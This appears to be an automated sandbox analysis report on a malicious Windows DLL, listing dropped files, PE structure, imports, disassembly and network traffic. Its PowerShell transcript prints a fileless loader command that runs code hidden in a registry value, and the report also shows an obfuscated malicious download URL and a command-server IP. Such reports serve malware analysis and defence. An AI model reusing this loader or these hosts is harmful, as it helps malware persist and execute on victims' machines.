IE Cache URL:	http://gtr.antoinfer.com/4khtvsQ0u/_2Bibxls4V27IXxwFbLo/MVAeZiN_2BcOXrnrV8V/qJdJNxZ6Bgv5NEeycuU5RT/xP63sFYeQbF7V/py7Hi7cb/9YfAdWQtdGthxteTogc4W5n/e4pHdJmwQV/Xb_2ByBc4q7LehmCP/qbPYu2dVkV6R/HcylsChDiT2/MxSzZGJm_2F7kQ/SwyqdbxYkDgH_2FqkftiZ/sgfsFtj_2BtQQ2R6/R1qw5igRxvImwz6/pMeyM_2FrLNrloESyl/5_2BeunOI/9zlfRQun7lnhbsKL_2FH/F_2B8nMOma_2F2fjvu5/bI8nw1gkOTg_2F0CTqoQIr/cSQsg2LKmpe1I/kDimvPNH/SgPLk
Preview:	wrtAzu35imLmq5OeYc6CeBah/8sU00BfQOYdVam7VlDCg+XUzUFG4a2t00q6fcb07qy30we4ZBmrQ/8kkSj7l9d5Nliwo45NKQt1HQ5zBBGTxkM3I3jBB3SuvOuUSWcz/E+i+iM5Mde9208oAW9/hOmNQ2sF+jxZUnLboLARBDuR3n7DsqKuJw75Ec2rvrw2yB9OabkqhozXb38wUn46Ztfy3rfp+xBLg/fOO+Tfz1RkgMQcoVBcfqnp++AHLtlKcozrB9ygOjHMDaLUQL0gVILag7Qfh2w697gmnnl0zkx70bRjEfVu03aczUVfjL4XKEpFMpRBGPH/FONE1Fh5TzFoCKnnpA++nIvQQpFHY2CSlPO5pjQfZAVW1JAgf1zPDdDQsiIZAyiizCLDm81dpowOT/PVc/XK5ftzOSIaA+hfRGIw6ba5+PVbj2fFhOnGuTiVRkAmZR2BbeXz3RL/84WYU4wRxzM1Kz+b0fHXenanC3Tk2w4CUN1ywiPN2rFWZlyDzTegHhAqYpD2RJPxu0PlMBr177lVt+ftjdDw30Yx0/bTuCWGmlOKaT1is6LpoN19zaT+7cBDL3GX6mk0gNj+Ho8BMvJZKL+7VpMfciZqO2XWnPsMRBNO/is7dfawHsU4U0V4s4AmF0C4WpUuTVkkwo5MoG7OYWoyPHYhSKiPLpj7iscOYyB8xGpPhARSvvuT+0Q1V2LsLiq9VqIXrmeNtBUE7QFfPBlsmOybHTAXDzBAp+Rrc9dbjpgsdnBI1ZoEVXurZwVBqwbvUjWKBRZluvjvp++cJdwgMEA1b9+1amgGC5Phr5Zt0dU2S/Wt0N0VXwuoVHeOdICFyvJla12Wpgrw3UPNMsEvCTkEuWLS7BMpv8OpB9xFeLdrZpXBbff4w0QfnYbTilngaD/VhyLJf7tpj689TyeH9X1NRmDgvVDi3igz9Gl6waFt6rH8OOS9SlpUQEihbq71++h+0Ut7612e+oMhvhXIDBpn

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	89
Entropy (8bit):	4.330498848364286
Encrypted:	false
SSDEEP:	3:oVXU7UHbwap4AW8JOGXnE7UHbwaUUCn:o9U7U0HqE7U0f7
MD5:	8923686368EACF0D35166E8E5FBF6230
SHA1:	BE12CCC90F24111C713651DDF966D17C036DD973
SHA-256:	EA63ED37CBCC00447D9111C63DFBF458960F199F4AD3B4F4D115694A9C12BBCE
SHA-512:	9499CCCB741DA0E3BD3718A7A65DF5B2F426618372BEFC370E3E85DE26115874282C39F30743120C7AEC8091D6E7F92E3984C4114A7C2016A3EAA4CF23B65B55
Malicious:	false
Preview:	[2021/07/12 11:50:42.133] Latest deploy version: ..[2021/07/12 11:50:42.133] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4pzye43c.itc.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a5sxjpc1.1lo.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF5A692A62F2D75F35.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40137
Entropy (8bit):	0.6697240449739938
Encrypted:	false
SSDEEP:	192:kBqoxKAuqR+CkuH0qmqFURslbDmqFURslbwyqFURslbG:kBqoxKAuqR+CkuH0Nq2sRKq2sRFq2sRG
MD5:	E80FAFAEABFED1C29C3CA5968A199FDE
SHA1:	A5C7BB98C1ABEAEF1F4461A6075E3DD16AD5EE7B
SHA-256:	AEA195DD54E3F699417CF437DD647A6E463CF5624A063AECA8015BE47F6392E9
SHA-512:	E57AF1D5E2DFCE276D807D8177E9AF147E92F37EBF49A5942FFAA06D71DBCD328CFF3905B86C0FE80BD2D6A5AD743AC712F2A21773A060DB7731D6B507D4C71A
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF7A8FA428499FD9A8.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40137
Entropy (8bit):	0.6697699089679146
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+AGcdGYmYBPX+QpsmYBPX+Qp9yYBPX+Qpl:kBqoxKAuqR+AGcdGYmWOPmWOUyWOy
MD5:	BC10A728E38CFAC0A1509E546E713776
SHA1:	1D1E03EF509A195186CCB8F16BEE555B48C31CD7
SHA-256:	25D4622234AA3791B8805E1DE828A52099893FCF99F10787BE71DE4CFB4211DE
SHA-512:	07F31A44C2A7CA1CD9580022028A433B5EFA09FAAEDAB47033165EE087F4D62F260E16936CC6DEF496959CFF87B9F7C251667EF5274C97C9AFEB52AB477C0013
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFA4D21E6A958BB9F9.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13269
Entropy (8bit):	0.6181447336708943
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loiF9loe9lW2MSMX5c:kBqoIp/THXa
MD5:	FC92A335C1D62A2456E6673361548605
SHA1:	16C2375D973B93D6000EC138D1BE44A5F96A764C
SHA-256:	A6D1F45EFDA0921733F93138393A182CACF6AA7F9F3E68F6C1612818628F58BF
SHA-512:	0C3137E8787990F0863315A1D55A2FA178D49A6FE6855FD20A7ABE9223A90A140F3BF880F44768675540D3EFF984628A5C568DDFCCDECE2A6391B387C6580C2B
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFBCEA36BA3DC5EC74.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40185
Entropy (8bit):	0.6768074571934124
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS++4y7oRB6T9UXB6T9U4B6T9UV:kBqoxKAuqR++4y7oRg6Xg64g6V
MD5:	E5503B8DF96487C6F3B8C79F062AB7C6
SHA1:	B23F6ADD6145A767329BD91639752F6E116135AA
SHA-256:	0BD0E7F4D99A9E2927ADAF02B0D990E092D55DCFFFE3862EA8CA898AEA446B56
SHA-512:	307538560993B495F84273452613079855E4BD9EF9AD181371370F9DCECEBB208030D85B5A023BC621C05FA8A1E32F2F1141A27C146E89887089B8FEAD718D84
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\20210712\PowerShell_transcript.992547.S0FaV4MQ.20210712115054.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	976
Entropy (8bit):	5.476465222046756
Encrypted:	false
SSDEEP:	24:BxSAi/yxvBnkx2DOXUWOLCHGIYBtBCWjHjeTKKjX4CIym1ZJXqMOLCHGIYBtBW:BZiGvhkoORFeVjqDYB1ZU0FeW
MD5:	389BE26287790B28A795E72BC5B734EE
SHA1:	CA35270C1396ED1DB280A9FC092841867CA3B713
SHA-256:	BC159B05A675680D507C0498115706DE5DF0906B98CBC8E888B48FEAC1AD32E6
SHA-512:	EE6113DC38B4193015353FF798A83F0465DA3AFA713E1698B5C4CD9C96419AD4CDD05D9AAFA017D9DA0BE46631D07657DB1652B32FA5F80EEF3AD476A2B2A4C2
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210712115054..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 992547 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550).UtilTool))..Process ID: 5004..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210712115054..********************..PS>iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550).UtilTool))..

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.767213059044483
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	lj3H69Z3Io.dll
File size:	512000
MD5:	0bb29556ece1c51c751cb4e7c8752ddc
SHA1:	324cc356a56c68e51f09348e91405001e68e4a08
SHA256:	af1b052362469a67fcd871558b24efa2be44a4b29f88112e5c2d2295a1dc4252
SHA512:	33d9a2b92f209ed7fea50bc388d34d7cce773217f73d58fda98ad94c13cd64621b92525602e87c016bab424f438ae96655af8d8250d642d9d7fc7a080f936c79
SSDEEP:	12288:pvlT2EsAw96epX+uHfa7Z5svN/RM2ZcV8TFITzhz3VFVUJcXH4nw7P1N:ZsN96cfKFVUJQu
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......H..5...f...f...f.z.f...f.z.f...f.z.f...f^..g...f^..g8..f^..g...f..}f...f...fv..f...g...f...g...f...g...fRich...f........PE..L..

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10340e7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x1000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5B2B4D21 [Thu Jun 21 07:00:49 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	df95180b6da9d16cb69b63ca8bb7f332

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FB6989AB157h
call 00007FB6989AB8D5h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FB6989AB008h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
mov eax, dword ptr [0107B164h]
and eax, 1Fh
push 00000020h
pop ecx
sub ecx, eax
mov eax, dword ptr [ebp+08h]
ror eax, cl
xor eax, dword ptr [0107B164h]
pop ebp
ret
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FB6989AB16Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FB6989AB15Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007FB6989AB15Eh
add edx, 28h
cmp edx, esi
jne 00007FB6989AB13Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007FB6989AB14Bh
push esi
call 00007FB6989ABC56h
test eax, eax
je 00007FB6989AB172h
mov eax, dword ptr fs:[00000018h]
mov esi, 01113000h
mov edx, dword ptr [eax+04h]
jmp 00007FB6989AB156h
cmp edx, eax
je 00007FB6989AB162h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007FB6989AB142h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
call 00007FB6989ABC25h
test eax, eax
je 00007FB6989AB159h
call 00007FB6989ABA85h
jmp 00007FB6989AB16Ah
call 00007FB6989AB1A1h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x79890	0x80	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x79910	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x114000	0x3530	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x778f0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x77948	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x51000	0x1c4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4f1c7	0x4f200	False	0.639085332741	data	6.65199808864	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x51000	0x2936e	0x29400	False	0.621620501894	data	6.09428205246	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x7b000	0x98ad0	0x1000	False	0.2373046875	data	3.49060216778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x114000	0x3530	0x3600	False	0.748191550926	data	6.69710092848	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	GetEnvironmentVariableA, GetSystemDirectoryA, GetTempPathA, GetWindowsDirectoryA, GetCurrentDirectoryA, DeleteFileA, SetConsoleCP, GetStartupInfoA, WriteConsoleW, GetProcessHeap, SetEnvironmentVariableA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, IsValidCodePage, CreateProcessA, GetTickCount, CloseHandle, HeapSize, VirtualProtect, FindNextFileA, FindFirstFileExA, FindClose, HeapReAlloc, WideCharToMultiByte, GetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, MultiByteToWideChar, EncodePointer, DecodePointer, SetLastError, InitializeCriticalSectionAndSpinCount, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, CompareStringW, LCMapStringW, GetLocaleInfoW, GetStringTypeW, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RaiseException, RtlUnwind, InterlockedFlushSList, FreeLibrary, LoadLibraryExW, CreateFileW, GetFileType, ExitProcess, GetModuleHandleExW, GetModuleFileNameA, HeapAlloc, HeapFree, GetACP, GetStdHandle, GetTimeZoneInformation, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, SetStdHandle, WriteFile, GetConsoleCP, GetConsoleMode, SetEndOfFile, ReadFile, ReadConsoleW, SetFilePointerEx, FlushFileBuffers
USER32.dll	GetClipboardData, SendMessageA, DestroyWindow, CheckRadioButton, SendDlgItemMessageW, SetClipboardData, SetForegroundWindow
ole32.dll	CoTaskMemFree, CoInitialize, CoTaskMemAlloc, CoUninitialize
ADVAPI32.dll	RegOpenKeyExA, RegCreateKeyA, RegCloseKey, RegQueryValueExA
WTSAPI32.dll	WTSCloseServer, WTSOpenServerA
NETAPI32.dll	NetWkstaGetInfo, NetWkstaSetInfo, NetApiBufferFree

Exports

Name	Ordinal	Address
Busysection	1	0x1028480
Dealthis	2	0x1028730
Sing	3	0x1028560
Teethshould	4	0x1027390

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 12, 2021 11:50:35.350403070 CEST	49746	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.350518942 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.377429962 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.377564907 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.378191948 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.383363008 CEST	80	49746	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.386257887 CEST	49746	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.444061041 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.856986046 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.857157946 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.857954979 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.858062983 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.858160019 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.858230114 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.859390020 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.859425068 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.859458923 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.859486103 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.859519005 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.859519958 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.859554052 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.859568119 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.859596968 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.859599113 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.859646082 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.881598949 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.881700039 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893239021 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893265963 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893285036 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893304110 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893305063 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893316984 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893328905 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893335104 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893351078 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893357038 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893369913 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893379927 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893392086 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893398046 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893409014 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893421888 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893434048 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893441916 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893454075 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893476963 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893495083 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.893794060 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.893858910 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.894445896 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.894475937 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.894510984 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.894520044 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.894551992 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.894556999 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.894579887 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.894588947 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.894599915 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.894640923 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.894782066 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.894829035 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.905551910 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.905585051 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.905608892 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.905611992 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.905649900 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.905697107 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.923244953 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.923387051 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929184914 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929235935 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929260969 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929284096 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929296017 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929343939 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929349899 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929399967 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929400921 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929435015 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929470062 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929480076 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929497004 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929532051 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929533958 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929568052 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929593086 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929611921 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929622889 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929658890 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929661036 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929691076 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929717064 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929733038 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929744005 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929784060 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929790020 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929840088 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929867983 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929873943 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929913044 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929933071 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929938078 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.929965019 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.929990053 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930010080 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930028915 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930069923 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930083990 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930114985 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930116892 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930160999 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930164099 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930192947 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930219889 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930244923 CEST	49747	80	192.168.2.3	167.172.38.18
